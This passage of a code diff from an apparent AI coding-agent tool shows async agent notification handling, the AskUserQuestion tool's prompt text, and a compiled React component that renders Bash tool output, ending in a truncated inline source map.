+
agentMessages,
|
| 610 |
+
tools: toolUseContext.options.tools,
|
| 611 |
+
toolPermissionContext:
|
| 612 |
+
toolUseContext.getAppState().toolPermissionContext,
|
| 613 |
+
abortSignal: abortController.signal,
|
| 614 |
+
subagentType: metadata.agentType,
|
| 615 |
+
totalToolUseCount: agentResult.totalToolUseCount,
|
| 616 |
+
})
|
| 617 |
+
if (handoffWarning) {
|
| 618 |
+
finalMessage = `${handoffWarning}\n\n${finalMessage}`
|
| 619 |
+
}
|
| 620 |
+
}
|
| 621 |
+
|
| 622 |
+
const worktreeResult = await getWorktreeResult()
|
| 623 |
+
|
| 624 |
+
enqueueAgentNotification({
|
| 625 |
+
taskId,
|
| 626 |
+
description,
|
| 627 |
+
status: 'completed',
|
| 628 |
+
setAppState: rootSetAppState,
|
| 629 |
+
finalMessage,
|
| 630 |
+
usage: {
|
| 631 |
+
totalTokens: getTokenCountFromTracker(tracker),
|
| 632 |
+
toolUses: agentResult.totalToolUseCount,
|
| 633 |
+
durationMs: agentResult.totalDurationMs,
|
| 634 |
+
},
|
| 635 |
+
toolUseId: toolUseContext.toolUseId,
|
| 636 |
+
...worktreeResult,
|
| 637 |
+
})
|
| 638 |
+
} catch (error) {
|
| 639 |
+
stopSummarization?.()
|
| 640 |
+
if (error instanceof AbortError) {
|
| 641 |
+
// killAsyncAgent is a no-op if TaskStop already set status='killed' —
|
| 642 |
+
// but only this catch handler has agentMessages, so the notification
|
| 643 |
+
// must fire unconditionally. Transition status BEFORE worktree cleanup
|
| 644 |
+
// so TaskOutput unblocks even if git hangs (gh-20236).
|
| 645 |
+
killAsyncAgent(taskId, rootSetAppState)
|
| 646 |
+
logEvent('tengu_agent_tool_terminated', {
|
| 647 |
+
agent_type:
|
| 648 |
+
metadata.agentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 649 |
+
model:
|
| 650 |
+
metadata.resolvedAgentModel as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 651 |
+
duration_ms: Date.now() - metadata.startTime,
|
| 652 |
+
is_async: true,
|
| 653 |
+
is_built_in_agent: metadata.isBuiltInAgent,
|
| 654 |
+
reason:
|
| 655 |
+
'user_kill_async' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 656 |
+
})
|
| 657 |
+
const worktreeResult = await getWorktreeResult()
|
| 658 |
+
const partialResult = extractPartialResult(agentMessages)
|
| 659 |
+
enqueueAgentNotification({
|
| 660 |
+
taskId,
|
| 661 |
+
description,
|
| 662 |
+
status: 'killed',
|
| 663 |
+
setAppState: rootSetAppState,
|
| 664 |
+
toolUseId: toolUseContext.toolUseId,
|
| 665 |
+
finalMessage: partialResult,
|
| 666 |
+
...worktreeResult,
|
| 667 |
+
})
|
| 668 |
+
return
|
| 669 |
+
}
|
| 670 |
+
const msg = errorMessage(error)
|
| 671 |
+
failAsyncAgent(taskId, msg, rootSetAppState)
|
| 672 |
+
const worktreeResult = await getWorktreeResult()
|
| 673 |
+
enqueueAgentNotification({
|
| 674 |
+
taskId,
|
| 675 |
+
description,
|
| 676 |
+
status: 'failed',
|
| 677 |
+
error: msg,
|
| 678 |
+
setAppState: rootSetAppState,
|
| 679 |
+
toolUseId: toolUseContext.toolUseId,
|
| 680 |
+
...worktreeResult,
|
| 681 |
+
})
|
| 682 |
+
} finally {
|
| 683 |
+
clearInvokedSkillsForAgent(agentIdForCleanup)
|
| 684 |
+
clearDumpState(agentIdForCleanup)
|
| 685 |
+
}
|
| 686 |
+
}
|
src/tools/AskUserQuestionTool/prompt.ts
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { EXIT_PLAN_MODE_TOOL_NAME } from '../ExitPlanModeTool/constants.js'
|
| 2 |
+
|
| 3 |
+
export const ASK_USER_QUESTION_TOOL_NAME = 'AskUserQuestion'
|
| 4 |
+
|
| 5 |
+
export const ASK_USER_QUESTION_TOOL_CHIP_WIDTH = 12
|
| 6 |
+
|
| 7 |
+
export const DESCRIPTION =
|
| 8 |
+
'Asks the user multiple choice questions to gather information, clarify ambiguity, understand preferences, make decisions or offer them choices.'
|
| 9 |
+
|
| 10 |
+
export const PREVIEW_FEATURE_PROMPT = {
|
| 11 |
+
markdown: `
|
| 12 |
+
Preview feature:
|
| 13 |
+
Use the optional \`preview\` field on options when presenting concrete artifacts that users need to visually compare:
|
| 14 |
+
- ASCII mockups of UI layouts or components
|
| 15 |
+
- Code snippets showing different implementations
|
| 16 |
+
- Diagram variations
|
| 17 |
+
- Configuration examples
|
| 18 |
+
|
| 19 |
+
Preview content is rendered as markdown in a monospace box. Multi-line text with newlines is supported. When any option has a preview, the UI switches to a side-by-side layout with a vertical option list on the left and preview on the right. Do not use previews for simple preference questions where labels and descriptions suffice. Note: previews are only supported for single-select questions (not multiSelect).
|
| 20 |
+
`,
|
| 21 |
+
html: `
|
| 22 |
+
Preview feature:
|
| 23 |
+
Use the optional \`preview\` field on options when presenting concrete artifacts that users need to visually compare:
|
| 24 |
+
- HTML mockups of UI layouts or components
|
| 25 |
+
- Formatted code snippets showing different implementations
|
| 26 |
+
- Visual comparisons or diagrams
|
| 27 |
+
|
| 28 |
+
Preview content must be a self-contained HTML fragment (no <html>/<body> wrapper, no <script> or <style> tags — use inline style attributes instead). Do not use previews for simple preference questions where labels and descriptions suffice. Note: previews are only supported for single-select questions (not multiSelect).
|
| 29 |
+
`,
|
| 30 |
+
} as const
|
| 31 |
+
|
| 32 |
+
export const ASK_USER_QUESTION_TOOL_PROMPT = `Use this tool when you need to ask the user questions during execution. This allows you to:
|
| 33 |
+
1. Gather user preferences or requirements
|
| 34 |
+
2. Clarify ambiguous instructions
|
| 35 |
+
3. Get decisions on implementation choices as you work
|
| 36 |
+
4. Offer choices to the user about what direction to take.
|
| 37 |
+
|
| 38 |
+
Usage notes:
|
| 39 |
+
- Users will always be able to select "Other" to provide custom text input
|
| 40 |
+
- Use multiSelect: true to allow multiple answers to be selected for a question
|
| 41 |
+
- If you recommend a specific option, make that the first option in the list and add "(Recommended)" at the end of the label
|
| 42 |
+
|
| 43 |
+
Plan mode note: In plan mode, use this tool to clarify requirements or choose between approaches BEFORE finalizing your plan. Do NOT use this tool to ask "Is my plan ready?" or "Should I proceed?" - use ${EXIT_PLAN_MODE_TOOL_NAME} for plan approval. IMPORTANT: Do not reference "the plan" in your questions (e.g., "Do you have feedback about the plan?", "Does the plan look good?") because the user cannot see the plan in the UI until you call ${EXIT_PLAN_MODE_TOOL_NAME}. If you need plan approval, use ${EXIT_PLAN_MODE_TOOL_NAME} instead.
|
| 44 |
+
`
|
src/tools/BashTool/BashTool.tsx
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
src/tools/BashTool/BashToolResultMessage.tsx
ADDED
|
@@ -0,0 +1,191 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { c as _c } from "react/compiler-runtime";
|
| 2 |
+
import React from 'react';
|
| 3 |
+
import { removeSandboxViolationTags } from 'src/utils/sandbox/sandbox-ui-utils.js';
|
| 4 |
+
import { KeyboardShortcutHint } from '../../components/design-system/KeyboardShortcutHint.js';
|
| 5 |
+
import { MessageResponse } from '../../components/MessageResponse.js';
|
| 6 |
+
import { OutputLine } from '../../components/shell/OutputLine.js';
|
| 7 |
+
import { ShellTimeDisplay } from '../../components/shell/ShellTimeDisplay.js';
|
| 8 |
+
import { Box, Text } from '../../ink.js';
|
| 9 |
+
import type { Out as BashOut } from './BashTool.js';
|
| 10 |
+
type Props = {
|
| 11 |
+
content: Omit<BashOut, 'interrupted'>;
|
| 12 |
+
verbose: boolean;
|
| 13 |
+
timeoutMs?: number;
|
| 14 |
+
};
|
| 15 |
+
|
| 16 |
+
// Pattern to match "Shell cwd was reset to <path>" message
|
| 17 |
+
// Use (?:^|\n) to match either start of string or after a newline
|
| 18 |
+
const SHELL_CWD_RESET_PATTERN = /(?:^|\n)(Shell cwd was reset to .+)$/;
|
| 19 |
+
|
| 20 |
+
/**
|
| 21 |
+
* Extracts sandbox violations from stderr if present
|
| 22 |
+
* Returns both the cleaned stderr and the violations content
|
| 23 |
+
*/
|
| 24 |
+
function extractSandboxViolations(stderr: string): {
|
| 25 |
+
cleanedStderr: string;
|
| 26 |
+
} {
|
| 27 |
+
const violationsMatch = stderr.match(/<sandbox_violations>([\s\S]*?)<\/sandbox_violations>/);
|
| 28 |
+
if (!violationsMatch) {
|
| 29 |
+
return {
|
| 30 |
+
cleanedStderr: stderr
|
| 31 |
+
};
|
| 32 |
+
}
|
| 33 |
+
|
| 34 |
+
// Remove the sandbox violations section from stderr
|
| 35 |
+
const cleanedStderr = removeSandboxViolationTags(stderr).trim();
|
| 36 |
+
return {
|
| 37 |
+
cleanedStderr
|
| 38 |
+
};
|
| 39 |
+
}
|
| 40 |
+
|
| 41 |
+
/**
|
| 42 |
+
* Extracts the "Shell cwd was reset" warning message from stderr
|
| 43 |
+
* Returns the cleaned stderr and the warning message separately
|
| 44 |
+
*/
|
| 45 |
+
function extractCwdResetWarning(stderr: string): {
|
| 46 |
+
cleanedStderr: string;
|
| 47 |
+
cwdResetWarning: string | null;
|
| 48 |
+
} {
|
| 49 |
+
const match = stderr.match(SHELL_CWD_RESET_PATTERN);
|
| 50 |
+
if (!match) {
|
| 51 |
+
return {
|
| 52 |
+
cleanedStderr: stderr,
|
| 53 |
+
cwdResetWarning: null
|
| 54 |
+
};
|
| 55 |
+
}
|
| 56 |
+
|
| 57 |
+
// Extract the warning message from capture group 1
|
| 58 |
+
const cwdResetWarning = match[1] ?? null;
|
| 59 |
+
// Remove the warning from stderr (replace the full match)
|
| 60 |
+
const cleanedStderr = stderr.replace(SHELL_CWD_RESET_PATTERN, '').trim();
|
| 61 |
+
return {
|
| 62 |
+
cleanedStderr,
|
| 63 |
+
cwdResetWarning
|
| 64 |
+
};
|
| 65 |
+
}
|
| 66 |
+
export default function BashToolResultMessage(t0) {
|
| 67 |
+
const $ = _c(34);
|
| 68 |
+
const {
|
| 69 |
+
content: t1,
|
| 70 |
+
verbose,
|
| 71 |
+
timeoutMs
|
| 72 |
+
} = t0;
|
| 73 |
+
const {
|
| 74 |
+
stdout: t2,
|
| 75 |
+
stderr: t3,
|
| 76 |
+
isImage,
|
| 77 |
+
returnCodeInterpretation,
|
| 78 |
+
noOutputExpected,
|
| 79 |
+
backgroundTaskId
|
| 80 |
+
} = t1;
|
| 81 |
+
const stdout = t2 === undefined ? "" : t2;
|
| 82 |
+
const stdErrWithViolations = t3 === undefined ? "" : t3;
|
| 83 |
+
let T0;
|
| 84 |
+
let cwdResetWarning;
|
| 85 |
+
let stderr;
|
| 86 |
+
let t4;
|
| 87 |
+
let t5;
|
| 88 |
+
let t6;
|
| 89 |
+
let t7;
|
| 90 |
+
if ($[0] !== isImage || $[1] !== stdErrWithViolations || $[2] !== stdout || $[3] !== verbose) {
|
| 91 |
+
t7 = Symbol.for("react.early_return_sentinel");
|
| 92 |
+
bb0: {
|
| 93 |
+
const {
|
| 94 |
+
cleanedStderr: stderrWithoutViolations
|
| 95 |
+
} = extractSandboxViolations(stdErrWithViolations);
|
| 96 |
+
({
|
| 97 |
+
cleanedStderr: stderr,
|
| 98 |
+
cwdResetWarning
|
| 99 |
+
} = extractCwdResetWarning(stderrWithoutViolations));
|
| 100 |
+
if (isImage) {
|
| 101 |
+
let t8;
|
| 102 |
+
if ($[11] === Symbol.for("react.memo_cache_sentinel")) {
|
| 103 |
+
t8 = <MessageResponse height={1}><Text dimColor={true}>[Image data detected and sent to Claude]</Text></MessageResponse>;
|
| 104 |
+
$[11] = t8;
|
| 105 |
+
} else {
|
| 106 |
+
t8 = $[11];
|
| 107 |
+
}
|
| 108 |
+
t7 = t8;
|
| 109 |
+
break bb0;
|
| 110 |
+
}
|
| 111 |
+
T0 = Box;
|
| 112 |
+
t4 = "column";
|
| 113 |
+
if ($[12] !== stdout || $[13] !== verbose) {
|
| 114 |
+
t5 = stdout !== "" ? <OutputLine content={stdout} verbose={verbose} /> : null;
|
| 115 |
+
$[12] = stdout;
|
| 116 |
+
$[13] = verbose;
|
| 117 |
+
$[14] = t5;
|
| 118 |
+
} else {
|
| 119 |
+
t5 = $[14];
|
| 120 |
+
}
|
| 121 |
+
t6 = stderr.trim() !== "" ? <OutputLine content={stderr} verbose={verbose} isError={true} /> : null;
|
| 122 |
+
}
|
| 123 |
+
$[0] = isImage;
|
| 124 |
+
$[1] = stdErrWithViolations;
|
| 125 |
+
$[2] = stdout;
|
| 126 |
+
$[3] = verbose;
|
| 127 |
+
$[4] = T0;
|
| 128 |
+
$[5] = cwdResetWarning;
|
| 129 |
+
$[6] = stderr;
|
| 130 |
+
$[7] = t4;
|
| 131 |
+
$[8] = t5;
|
| 132 |
+
$[9] = t6;
|
| 133 |
+
$[10] = t7;
|
| 134 |
+
} else {
|
| 135 |
+
T0 = $[4];
|
| 136 |
+
cwdResetWarning = $[5];
|
| 137 |
+
stderr = $[6];
|
| 138 |
+
t4 = $[7];
|
| 139 |
+
t5 = $[8];
|
| 140 |
+
t6 = $[9];
|
| 141 |
+
t7 = $[10];
|
| 142 |
+
}
|
| 143 |
+
if (t7 !== Symbol.for("react.early_return_sentinel")) {
|
| 144 |
+
return t7;
|
| 145 |
+
}
|
| 146 |
+
let t8;
|
| 147 |
+
if ($[15] !== cwdResetWarning) {
|
| 148 |
+
t8 = cwdResetWarning ? <MessageResponse><Text dimColor={true}>{cwdResetWarning}</Text></MessageResponse> : null;
|
| 149 |
+
$[15] = cwdResetWarning;
|
| 150 |
+
$[16] = t8;
|
| 151 |
+
} else {
|
| 152 |
+
t8 = $[16];
|
| 153 |
+
}
|
| 154 |
+
let t9;
|
| 155 |
+
if ($[17] !== backgroundTaskId || $[18] !== cwdResetWarning || $[19] !== noOutputExpected || $[20] !== returnCodeInterpretation || $[21] !== stderr || $[22] !== stdout) {
|
| 156 |
+
t9 = stdout === "" && stderr.trim() === "" && !cwdResetWarning ? <MessageResponse height={1}><Text dimColor={true}>{backgroundTaskId ? <>Running in the background{" "}<KeyboardShortcutHint shortcut={"\u2193"} action="manage" parens={true} /></> : returnCodeInterpretation || (noOutputExpected ? "Done" : "(No output)")}</Text></MessageResponse> : null;
|
| 157 |
+
$[17] = backgroundTaskId;
|
| 158 |
+
$[18] = cwdResetWarning;
|
| 159 |
+
$[19] = noOutputExpected;
|
| 160 |
+
$[20] = returnCodeInterpretation;
|
| 161 |
+
$[21] = stderr;
|
| 162 |
+
$[22] = stdout;
|
| 163 |
+
$[23] = t9;
|
| 164 |
+
} else {
|
| 165 |
+
t9 = $[23];
|
| 166 |
+
}
|
| 167 |
+
let t10;
|
| 168 |
+
if ($[24] !== timeoutMs) {
|
| 169 |
+
t10 = timeoutMs && <MessageResponse><ShellTimeDisplay timeoutMs={timeoutMs} /></MessageResponse>;
|
| 170 |
+
$[24] = timeoutMs;
|
| 171 |
+
$[25] = t10;
|
| 172 |
+
} else {
|
| 173 |
+
t10 = $[25];
|
| 174 |
+
}
|
| 175 |
+
let t11;
|
| 176 |
+
if ($[26] !== T0 || $[27] !== t10 || $[28] !== t4 || $[29] !== t5 || $[30] !== t6 || $[31] !== t8 || $[32] !== t9) {
|
| 177 |
+
t11 = <T0 flexDirection={t4}>{t5}{t6}{t8}{t9}{t10}</T0>;
|
| 178 |
+
$[26] = T0;
|
| 179 |
+
$[27] = t10;
|
| 180 |
+
$[28] = t4;
|
| 181 |
+
$[29] = t5;
|
| 182 |
+
$[30] = t6;
|
| 183 |
+
$[31] = t8;
|
| 184 |
+
$[32] = t9;
|
| 185 |
+
$[33] = t11;
|
| 186 |
+
} else {
|
| 187 |
+
t11 = $[33];
|
| 188 |
+
}
|
| 189 |
+
return t11;
|
| 190 |
+
}
|
| 191 |
+
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInJlbW92ZVNhbmRib3hWaW9sYXRpb25UYWdzIiwiS2V5Ym9hcmRTaG9ydGN1dEhpbnQiLCJNZXNzYWdlUmVzcG9uc2UiLCJPdXRwdXRMaW5lIiwiU2hlbGxUaW1lRGlzcGxheSIsIkJveCIsIlRleHQiLCJPdXQiLCJCYXNoT3V0IiwiUHJvcHMiLCJjb250ZW50IiwiT21pdCIsInZlcmJvc2UiLCJ0aW1lb3V0TXMiLCJTSEVMTF9DV0RfUkVTRVRfUEFUVEVSTiIsImV4dHJhY3RTYW5kYm94VmlvbGF0aW9ucyIsInN0ZGVyciIsImNsZWFuZWRTdGRlcnIiLCJ2aW9sYXRpb25zTWF0Y2giLCJtYXRjaCIsInRyaW0iLCJleHRyYWN0Q3dkUmVzZXRXYXJuaW5nIiwiY3dkUmVzZXRXYXJuaW5nIiwicmVwbGFjZSIsIkJhc2hUb29sUmVzdWx0TWVzc2FnZSIsInQwIiwiJCIsIl9jIiwidDEiLCJzdGRvdXQiLCJ0MiIsInQzIiwiaXNJbWFnZSIsInJldHVybkNvZGVJbnRlcnByZXRhdGlvbiIsIm5vT3V0cHV0RXhwZWN0ZWQiLCJiYWNrZ3JvdW5kVGFza0lkIiwidW5kZWZpbmVkIiwic3RkRXJyV2l0aFZpb2xhdGlvbnMiLCJUMCIsInQ0IiwidDUiLCJ0NiIsInQ3IiwiU3ltYm9sIiwiZm9yIiwiYmIwIiwic3RkZXJyV2l0aG91dFZpb2xhdGlvbnMiLCJ0OCIsInQ5IiwidDEwIiwidDExIl0sInNvdXJjZXMiOlsiQmFzaFRvb2xSZXN1bHRNZXNzYWdlLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyByZW1vdmVTYW5kYm94VmlvbGF0aW9uVGFncyB9IGZyb20gJ3NyYy91dGlscy9zYW5kYm94L3NhbmRib3gtdWktdXRpbHMuanMnXG5pbXBvcnQgeyBLZXlib2FyZFNob3J0Y3V0SGludCB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvZGVzaWduLXN5c3RlbS9LZXlib2FyZFNob3J0Y3V0SGludC5qcydcbmltcG9ydCB7IE1lc3NhZ2VSZXNwb25zZSB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvTWVzc2FnZVJlc3BvbnNlLmpzJ1xuaW1wb3J0IHsgT3V0cHV0TGluZSB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvc2hlbGwvT3V0cHV0TGluZS5qcydcbmltcG9ydCB7IFNoZWxsVGltZURpc3BsYXkgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL3NoZWxsL1NoZWxsVGltZURpc3BsYXkuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgdHlwZSB7IE91dCBhcyBCYXNoT3V0IH0gZnJvbSAnLi9CYXNoVG9vbC5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgY29udGVudDogT21pdDxCYXNoT3V0LCAnaW50ZXJydXB0ZWQnPlxuICB2ZXJib3NlOiBib29sZWFuXG4gIHRpbWVvdXRNcz86IG51bWJlclxufVxuXG4vLyBQYXR0ZXJuIHRvIG1hdGNoIFwiU2hlbGwgY3dkIHdhcyByZXNldCB0byA8cGF0aD5cIiBtZXNzYWdlXG4vLyBVc2UgKD86XnxcXG4pIHRvIG1hdGNoIGVpdGhlciBzdGFydCBvZiBzdHJpbmcgb3IgYWZ0ZXIgYSBuZXdsaW5lXG5jb25zdCBTSEVMTF9DV0RfUkVTRVRfUEFUVEVSTiA9IC8oPzpefFxcbikoU2hlbGwgY3dkIHdhcyByZXNldCB0byAuKykkL1xuXG4vKipcbiAqIEV4dHJhY3RzIHNhbmRib3ggdmlvbGF0aW9ucyBmcm9tIHN0ZGVyciBpZiBwcmVzZW50XG4gKiBSZXR1cm5zIGJvdGggdGhlIGNsZWFuZWQgc3RkZXJyIGFuZCB0aGUgdmlvbGF0aW9ucyBjb250ZW50XG4gKi9cbmZ1bmN0aW9uIGV4dHJhY3RTYW5kYm94VmlvbGF0aW9ucyhzdGRlcnI6IHN0cmluZyk6IHtcbiAgY2xlYW5lZFN0ZGVycjogc3RyaW5nXG59IHtcbiAgY29uc3QgdmlvbGF0aW9uc01hdGNoID0gc3RkZXJyLm1hdGNoKFxuICAgIC88c2FuZGJveF92aW9sYXRpb25zPihbXFxzXFxTXSo/KTxcXC9zYW5kYm94X3Zpb2xhdGlvbnM+LyxcbiAgKVxuXG4gIGlmICghdmlvbGF0aW9uc01hdGNoKSB7XG4gICAgcmV0dXJuIHsgY2xlYW5lZFN0ZGVycjogc3RkZXJyIH1cbiAgfVxuXG4gIC8vIFJlbW92ZSB0aGUgc2FuZGJveCB2aW9sYXRpb25zIHNlY3Rpb24gZnJvbSBzdGRlcnJcbiAgY29uc3QgY2xlYW5lZFN0ZGVyciA9IHJlbW92ZVNhbmRib3hWaW9sYXRpb25UYWdzKHN0ZGVycikudHJpbSgpXG5cbiAgcmV0dXJuIHtcbiAgICBjbGVhbmVkU3RkZXJyLFxuICB9XG59XG5cbi8qKlxuICogRXh0cmFjdHMgdGhlIFwiU2hlbGwgY3dkIHdhcyByZXNldFwiIHdhcm5pbmcgbWVzc2FnZSBmcm9tIHN0ZGVyclxuICogUmV0dXJucyB0aGUgY2xlYW5lZCBzdGRlcnIgYW5kIHRoZSB3YXJuaW5nIG1lc3NhZ2Ugc2VwYXJhdGVseVxuICovXG5mdW5jdGlvbiBleHRyYWN0Q3dkUmVzZXRXYXJuaW5nKHN0ZGVycjogc3RyaW5nKToge1xuICBjbGVhbmVkU3RkZXJyOiBzdHJpbmdcbiAgY3dkUmVzZXRXYXJuaW5nOiBzdHJpbmcgfCBudWxsXG59IHtcbiAgY29uc3QgbWF0Y2ggPSBzdGRlcnIubWF0Y2goU0hFTExfQ1dEX1JFU0VUX1BBVFRFUk4pXG4gIGlmICghbWF0Y2gpIHtcbiAgICByZXR1cm4geyBjbGVhbmVkU3RkZXJyOiBzdGRlcnIsIGN3ZFJlc2V0V2FybmluZzogbnVsbCB9XG4gIH1cblxuICAvLyBFeHRyYWN0IHRoZSB3YXJuaW5nIG1lc3NhZ2UgZnJvbSBjYXB0dXJlIGdyb3VwIDFcbiAgY29uc3QgY3dkUmVzZXRXYXJuaW5nID0gbWF0Y2hbMV0gPz8gbnVsbFxuICAvLyBSZW1vdmUgdGhlIHdhcm5pbmcgZnJvbSBzdGRlcnIgKHJlcGxhY2UgdGhlIGZ1bGwgbWF0Y2gpXG4gIGNvbnN0IGNsZWFuZWRTdGRlcnIgPSBzdGRlcnIucmVwbGFjZShTSEVMTF9DV0RfUkVTRVRfUEFUVEVSTiwgJycpLnRyaW0oKVxuXG4gIHJldHVybiB7IGNsZWFuZWRTdGRlcnIsIGN3ZFJlc2V0V2FybmluZyB9XG59XG5cbmV4cG9ydCBkZWZhdWx0IGZ1bmN0aW9uIEJhc2hUb29sUmVzdWx0TWVzc2FnZSh7XG4gIGNvbnRlbnQ6IHtcbiAgICBzdGRvdXQgPSAnJyxcbiAgICBzdGRlcnI6IHN0ZEVycldpdGhWaW9sYXRpb25zID0gJycsXG4gICAgaXNJbWFnZSxcbiAgICByZXR1cm5Db2RlSW50ZXJwcmV0YXRpb24sXG4gICAgbm9PdXRwdXRFeHBlY3RlZCxcbiAgICBiYWNrZ3JvdW5kVGFza0lkLFxuICB9LFxuICB2ZXJib3NlLFxuICB0aW1lb3V0TXMsXG59OiBQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIC8vIEV4dHJhY3Qgc2FuZGJveCB2aW9sYXRpb25zIGZyb20gc3RkZXJyIGFzIGl0IGZlZWxzIGNsZWFuZXIgb24gdGhlIFVJXG4gIC8vIFdlIHdhbnQgdGhlIG1vZGVsIHRvIHNlZSB0aGUgdmlvbGF0aW9ucywgc28gaXQgY2FuIGV4cGxhaW4gd2hhdCB3ZW50IHdyb25nLCBhbmQgdGhlXG4gIC8vIHVzZXIgY2FuIGFjY2VzcyB0aGVtIGluIHRoZSB2aW9sYXRpb24gbG9nc1xuICBjb25zdCB7IGNsZWFuZWRTdGRlcnI6IHN0ZGVycldpdGhvdXRWaW9sYXRpb25zIH0gPVxuICAgIGV4dHJhY3RTYW5kYm94VmlvbGF0aW9ucyhzdGRFcnJXaXRoVmlvbGF0aW9ucylcblxuICAvLyBFeHRyYWN0IFwiU2hlbGwgY3dkIHdhcyByZXNldFwiIHdhcm5pbmcgdG8gcmVuZGVyIGl0IHdpdGggd2FybmluZyBjb2xvciBpbnN0ZWFkIG9mIGVycm9yXG4gIGNvbnN0IHsgY2xlYW5lZFN0ZGVycjogc3RkZXJyLCBjd2RSZXNldFdhcm5pbmcgfSA9IGV4dHJhY3RDd2RSZXNldFdhcm5pbmcoXG4gICAgc3RkZXJyV2l0aG91dFZpb2xhdGlvbnMsXG4gIClcblxuICAvLyBJZiB0aGlzIGlzIGFuIGltYWdlLCB3ZSBkb24ndCB3YW50IHRvIHRydW5jYXRlIGl0IGluIHRoZSBVSVxuICBpZiAoaXNJbWFnZSkge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlIGhlaWdodD17MX0+XG4gICAgICAgIDxUZXh0IGRpbUNvbG9yPltJbWFnZSBkYXRhIGRldGVjdGVkIGFuZCBzZW50IHRvIENsYXVkZV08L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAge3N0ZG91dCAhPT0gJycgPyA8T3V0cHV0TGluZSBjb250ZW50PXtzdGRvdXR9IHZlcmJvc2U9e3ZlcmJvc2V9IC8+IDogbnVsbH1cbiAgICAgIHtzdGRlcnIudHJpbSgpICE9PSAnJyA/IChcbiAgICAgICAgPE91dHB1dExpbmUgY29udGVudD17c3RkZXJyfSB2ZXJib3NlPXt2ZXJib3NlfSBpc0Vycm9yIC8+XG4gICAgICApIDogbnVsbH1cbiAgICAgIHtjd2RSZXNldFdhcm5pbmcgPyAoXG4gICAgICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+e2N3ZFJlc2V0V2FybmluZ308L1RleHQ+XG4gICAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgICAgKSA6IG51bGx9XG4gICAgICB7c3Rkb3V0ID09PSAnJyAmJiBzdGRlcnIudHJpbSgpID09PSAnJyAmJiAhY3dkUmVzZXRXYXJuaW5nID8gKFxuICAgICAgICA8TWVzc2FnZVJlc3BvbnNlIGhlaWdodD17MX0+XG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICB7YmFja2dyb3VuZFRhc2